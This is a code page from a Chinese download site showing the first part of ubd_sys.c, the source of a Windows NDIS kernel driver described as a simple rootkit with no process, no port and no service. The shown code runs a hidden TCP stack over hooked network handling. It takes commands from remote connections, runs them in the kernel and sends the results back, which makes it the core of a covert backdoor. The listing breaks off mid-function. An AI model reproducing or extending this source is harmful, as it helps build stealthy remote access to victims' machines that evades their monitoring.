⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ubd_sys.c

📁 一个驱动上实现 无进程 无端口 无服务的简单rootkit
💻 C
📖 第 1 页 / 共 2 页
字号:
///
// uty@uaty
///
#include <ndis.h>
#include "structs.h"
#include "commAnd.h"

typedef
struct _SYNACKPACKET{
	ULONG	sign;
	ULONG	BufferAddress;
}SYNACKPACKET,*PSYNACKPACKET;

//--------------------------------------------------------------------
///globAl
//
// TCPS GlobAl VAriAbles
//
//int						g_nTCPS_UseCount = 0;
TCPS_Connection				g_ConnectionSpAce[MAX_CONNECTIONS];
//
//List GlobAl VAriAbles
//
RECVLISTHEAD	g_RecvListHeAd;
PIO_WORKITEM	g_pRecvIoWorkItem;
SENDLISTHEAD	g_SendListHeAd;
PIO_WORKITEM	g_pSendIoWorkItem;
////globAl vAr defined in tryNdisHook.c
extern HOOK_CONTEXT_STRUCT *m_pOurAllOfHookContext;
extern NDIS_HANDLE		m_ourPAcketPoolHAndle;
extern NDIS_HANDLE		m_ourBufferPoolHAndle;
//for ProtocolReceive
extern PNDIS_PACKET		m_ourPAcketHAndle;
extern PNDIS_BUFFER		m_ourBufferHAndle;
extern PVOID			m_ourBuffer;
//
extern PKEVENT			g_puSendEvent;
extern PLARGE_INTEGER	g_pTimeOut;
//
ULONG	g_SendCount = 0;
//--------------------------------------------------------------------
//function protocol
VOID
RecvIoWorkItemRoutine (
	IN PDEVICE_OBJECT DeviceObject,
	IN PVOID Context
	);

VOID
SendIoWorkItemRoutine (
	IN PDEVICE_OBJECT DeviceObject,
	IN PVOID Context
	);

PRECVLIST
RemoveRecvDAtAFromList(
	PRECVLISTHEAD pRecvListHeAd
	);

NTSTATUS
AddRecvDAtAToList(
	PRECVLISTHEAD pRecvListHeAd,
	char* dAtA,
	ULONG	RecvDAtALength,
	PTCPS_Connection pConnection
	);

NTSTATUS
AddSendDAtAToList(
	PSENDLISTHEAD		pSendListHeAd,
	char*				dAtA,
	ULONG				SendDAtALength,
	PTCPS_Connection	pConnection
	);

NTSTATUS
AddSendDAtAToListAtFront(
	PSENDLISTHEAD		pSendListHeAd,
	char*				dAtA,
	ULONG				SendDAtALength,
	PTCPS_Connection	pConnection
	);

PSENDLIST
ReAdSendDAtAFromList(
	PSENDLISTHEAD pSendListHeAd
	);

VOID
RemoveSendDAtAFromList(
	PSENDLISTHEAD pSendListHeAd
	);

USHORT
checksum(
	USHORT *buff,
	int size
	);

VOID EchoPrompt(PTCPS_Connection pConnection);

NTSTATUS
uSend(
	  PTCPS_Connection		pConnection,
	  char					*pSendBuffer,
	  ULONG					ulSendBufferSize
	  );

NTSTATUS
SendToNet(
	PSENDLIST	pSendList
	);
//--------------------------------------------------------------------
NTSTATUS
TCPS_StArtup(
	PDEVICE_OBJECT pDeviceObject
	)
{
	NTSTATUS		dwStAtus;
	ULONG			i;

	//初始化接收队列
	//bug fixed 数太小的时候,当需要传的数据的次数多过大的时候,,会蓝
	KeInitializeSemaphore(&g_RecvListHeAd.ksemRecvListSemAphore,0,10240);//is thAt too much
	g_pRecvIoWorkItem = IoAllocateWorkItem(pDeviceObject);///for the work item
	IoQueueWorkItem(
		g_pRecvIoWorkItem,
		RecvIoWorkItemRoutine,
		DelayedWorkQueue,
		NULL
		);

	//初始化发送队列
	KeInitializeSemaphore(&g_SendListHeAd.ksemSendListSemAphore,0,10240);
	g_pSendIoWorkItem = IoAllocateWorkItem(pDeviceObject);
	IoQueueWorkItem(
		g_pSendIoWorkItem,
		SendIoWorkItemRoutine,
		DelayedWorkQueue,
		NULL
		);

	//initiAliztion the connection pool
	for(i = 0;i < MAX_CONNECTIONS;i ++){
		RtlZeroMemory(&g_ConnectionSpAce[i],sizeof(TCPS_Connection));
		RtlCopyMemory(&g_ConnectionSpAce[i].m_PAth,L"C:\\",sizeof(L"C:\\"));
	}


	return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
VOID
RecvIoWorkItemRoutine (
				   IN PDEVICE_OBJECT DeviceObject,
				   IN PVOID Context
				   )
{
	
	PRECVLIST pRecvList;
	//DbgPrint("in RecvIoWorkItemRoutine ");
	KeWaitForSingleObject(&(g_RecvListHeAd.ksemRecvListSemAphore),
							Executive,
							KernelMode,
							FALSE,
							NULL
							);
	pRecvList = RemoveRecvDAtAFromList(&g_RecvListHeAd);
	//DbgPrint("Received the commAnd:%s\n",pRecvList->dAtA);
	__try{
		ReferenceCommAnd(pRecvList);
		////DbgPrint("in where ReferneceCommAnd stAnd,but dob't reference it\n");
	}
	__except (EXCEPTION_EXECUTE_HANDLER){
		uSend(
			pRecvList->pConnection,
			"some error occured\n",
			strlen("some error occured\n")
			);	
	}
	EchoPrompt(pRecvList->pConnection);
	//这里负责回收pRecvList
	ExFreePool(pRecvList);
	IoQueueWorkItem(g_pRecvIoWorkItem,
		RecvIoWorkItemRoutine,
		DelayedWorkQueue,
		NULL
		);

	
}
//--------------------------------------------------------------------
NTSTATUS
AddRecvDAtAToList(PRECVLISTHEAD pRecvListHeAd,char* dAtA,ULONG	RecvDAtALength,PTCPS_Connection pConnection)
{
	NTSTATUS	dwStAtus = STATUS_UNSUCCESSFUL;
	KIRQL		kOldIrql;
	PRECVLIST	pRecvList;

	pRecvList = (PRECVLIST)ExAllocatePool(NonPagedPool,sizeof(RECVLIST));
	if(pRecvList){
		//DbgPrint("AddRecvDAtAToList AllocAte Memory = 0x0%x\n",pRecvList); //debug
		//bug fixed 命令行后面经常跟些乱78糟的
		RtlZeroMemory(pRecvList->dAtA,1024);
		pRecvList->pNext = NULL;
		RtlCopyMemory(pRecvList->dAtA,dAtA,DATALENGTH < RecvDAtALength? DATALENGTH-10:RecvDAtALength);///bug bug
		pRecvList->pConnection = pConnection;
		KeAcquireSpinLock(&pRecvListHeAd->kspRecvListLock,&kOldIrql);
		if(pRecvListHeAd->pListBAck){
			pRecvListHeAd->pListBAck->pNext	= pRecvList;
			pRecvListHeAd->pListBAck		= pRecvList;
		}
		else{
			pRecvListHeAd->pListFront = pRecvListHeAd->pListBAck = pRecvList;
		}
		KeReleaseSemaphore(&(g_RecvListHeAd.ksemRecvListSemAphore),0,1,FALSE);/////
		KeReleaseSpinLock(&pRecvListHeAd->kspRecvListLock,kOldIrql);	
		dwStAtus = STATUS_SUCCESS;
	}
	return dwStAtus;
}
//--------------------------------------------------------------------
PRECVLIST
RemoveRecvDAtAFromList(PRECVLISTHEAD pRecvListHeAd)
{
	KIRQL			kOldIrql;
	PRECVLIST		pRecvListCurrent;

	KeAcquireSpinLock(&pRecvListHeAd->kspRecvListLock,&kOldIrql);
	pRecvListCurrent = pRecvListHeAd->pListFront;
	if(pRecvListCurrent){
		pRecvListHeAd->pListFront = pRecvListCurrent->pNext;
		if(pRecvListHeAd->pListFront == NULL){
			pRecvListHeAd->pListBAck = NULL;
		}
		KeReleaseSpinLock(&(pRecvListHeAd->kspRecvListLock),kOldIrql);
		return pRecvListCurrent;
	}
	KeReleaseSpinLock(&(pRecvListHeAd->kspRecvListLock),kOldIrql);
	return NULL;
}
//--------------------------------------------------------------------
VOID
SendIoWorkItemRoutine (
	IN PDEVICE_OBJECT DeviceObject,
	IN PVOID Context
	)
{
	
	//这里有个event,,当收到上一个包的ACK,并把上一个包成功释放后才能再次执行这个函数
	PSENDLIST	pSendList;
	NTSTATUS	stAtus;
	KIRQL		kOldIrql;
	PETHHDR		pEthHdr	= NULL;
	PIPHDR		pIpHdr	= NULL;
	PTCPHDR		pTcpHdr	= NULL;
	//PVOID		WAit[2];
	//WAit[0]		= &(g_SendListHeAd.ksemSendListSemAphore);
	//WAit[1]		= g_puSendEvent;

	//DbgPrint("in SendIoWorkItemRoutine ");
	//这里换成连续的2个KeWAitForSingleObject,第一个是控制信号的,第2个是等待返回的ACK,信号的要无限期等待,
	//保证sendlist有内容时才会调用SendIoWorkItem,,而等待Ack的则给一个过期的时间,,如果在一定时间内未收到到
	//ACK,则再次让SendIoWorkItem被执行,由于这时候SendList内的数据并未被remove,所以实现了包的重发

	/*
	KeWaitForMultipleObjects(
		2,
		WAit,
		WaitAll,
		Executive,
		KernelMode,
		FALSE,
		NULL,
		NULL
		);
		*/

	//for ksemSendListSemAphore
	DbgPrint("wAit on ksemSendListSemAphore\n");
	KeWaitForSingleObject(
		&g_SendListHeAd.ksemSendListSemAphore,
		Executive,
		KernelMode,
		FALSE,
		0
		);

	DbgPrint("wAit on g_puSendEvent\n");
	//for puSendEvent
	stAtus = KeWaitForSingleObject(
		g_puSendEvent,
		Executive,
		KernelMode,
		FALSE,
		g_pTimeOut
		);
	//算了,,超时重发记数的先等等
	//超时重发3次后被认为是连接已经中断
	pSendList = ReAdSendDAtAFromList(&g_SendListHeAd);
	
	pEthHdr			= pSendList->pBuffer;
	pIpHdr			= (PIPHDR)((UCHAR*)pEthHdr + sizeof(ETHHDR));//heAder
	pTcpHdr			= (PTCPHDR)((UCHAR*)pIpHdr + pIpHdr->ihl * 4);//heAder
	
	//检查是否是rst的消息,这个包不发出去,只要是带有rst或fin的,都将处理连接,放在这里检查是为了
	//设置连接m_bIsConnected = FALSE 和发包同步 //tricky 我们不会去发rst的包
	if(pTcpHdr->rst || pTcpHdr->fin){
		pSendList->pConnection->m_bIsConnected = FALSE;
		//把包从队列里删除
		RemoveSendDAtAFromList(&g_SendListHeAd);
		DbgPrint("removed one PAcket\n");
		DbgPrint("%d pAckets left\n",pSendList->pConnection->m_PAcketsLeftToBeSend);
		//如果这个连接已经不再是连接状态,并且没有数据包未发送,清空这个连接,等待下次用
		if(pSendList->pConnection->m_PAcketsLeftToBeSend == 0 || g_SendListHeAd.pListFront == NULL){
			NdisZeroMemory(pSendList->pConnection,sizeof(TCPS_Connection));
			RtlCopyMemory(&pSendList->pConnection->m_PAth,L"C:\\",sizeof(L"C:\\"));
			DbgPrint("one TCPS_Connection AvAilAble\n");
		}
		KeSetEvent(
			g_puSendEvent,
			0,
			FALSE
			);
		//goto end;
	}

	if (stAtus == STATUS_TIMEOUT){
		g_SendCount++;
		DbgPrint("KeWAitForSingleObject: STATUS_TIMEOUT\n");//		
		//如果连接已经中断,且这个还有数据包未被发送,则不应该等待
		if(g_SendCount > 3 || pSendList->pConnection->m_bIsConnected == FALSE){
			//3次超时后就断掉这个连接
			pSendList->pConnection->m_bIsConnected = FALSE;
			//buf fix 不应该在这里清空
			//KeAcquireSpinLock(&g_SendListHeAd.kspSendListLock,&kOldIrql);
			//RtlZeroMemory(pSendList->pConnection,sizeof(TCPS_Connection));
			//RtlCopyMemory(pSendList->pConnection->m_PAth,L"C:\\",sizeof(L"C:\\"));
			//KeReleaseSpinLock(&g_SendListHeAd.kspSendListLock,kOldIrql);
			g_SendCount = 0;
		}		
	}
	
	__try{
		//reAlly send the pAcket to net,if the m_bIsConnectd is TRUE,else throw it AwAy
				
		if(	(pSendList->pConnection->m_bIsConnected == TRUE || pSendList->pConnection->m_bIsConnecting == TRUE)
			//bug
			&&	(pIpHdr->daddr == pSendList->pConnection->m_SourceIp &&	pTcpHdr->dest == pSendList->pConnection->m_SourcePort)
			){
			DbgPrint("SendToNet: one pAcket\n");
			SendToNet(pSendList);
		}
		else{		
			RemoveSendDAtAFromList(&g_SendListHeAd);
			DbgPrint("removed one PAcket\n");
			DbgPrint("%d pAckets left\n",pSendList->pConnection->m_PAcketsLeftToBeSend);
			//如果这个连接已经不再是连接状态,并且没有数据包未发送,清空这个连接,等待下次用
			if(pSendList->pConnection->m_PAcketsLeftToBeSend == 0){
				NdisZeroMemory(pSendList->pConnection,sizeof(TCPS_Connection));
				RtlCopyMemory(&pSendList->pConnection->m_PAth,L"C:\\",sizeof(L"C:\\"));
				DbgPrint("one TCPS_Connection AvAilAble\n");
			}
			KeSetEvent(
				g_puSendEvent,
				0,
				FALSE

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -